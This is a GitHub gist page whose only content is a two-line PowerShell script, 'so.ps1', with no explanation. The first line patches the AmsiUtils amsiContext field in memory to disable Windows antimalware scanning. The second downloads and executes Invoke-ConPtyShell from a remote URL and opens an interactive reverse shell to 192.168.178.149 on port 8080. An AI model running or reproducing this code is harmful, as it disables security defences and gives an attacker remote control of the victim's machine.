Skip to content

Instantly share code, notes, and snippets.

@michiiii
Created December 17, 2021 19:43
Show Gist options
  • Save michiiii/fa89fca6e6a8c8779bf3a9dd1d59f3f2 to your computer and use it in GitHub Desktop.
Save michiiii/fa89fca6e6a8c8779bf3a9dd1d59f3f2 to your computer and use it in GitHub Desktop.

Revisions

  1. michiiii created this gist Dec 17, 2021.
    2 changes: 2 additions & 0 deletions so.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
    IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 192.168.178.149 -RemotePort 8080 -Rows 43 -Cols 237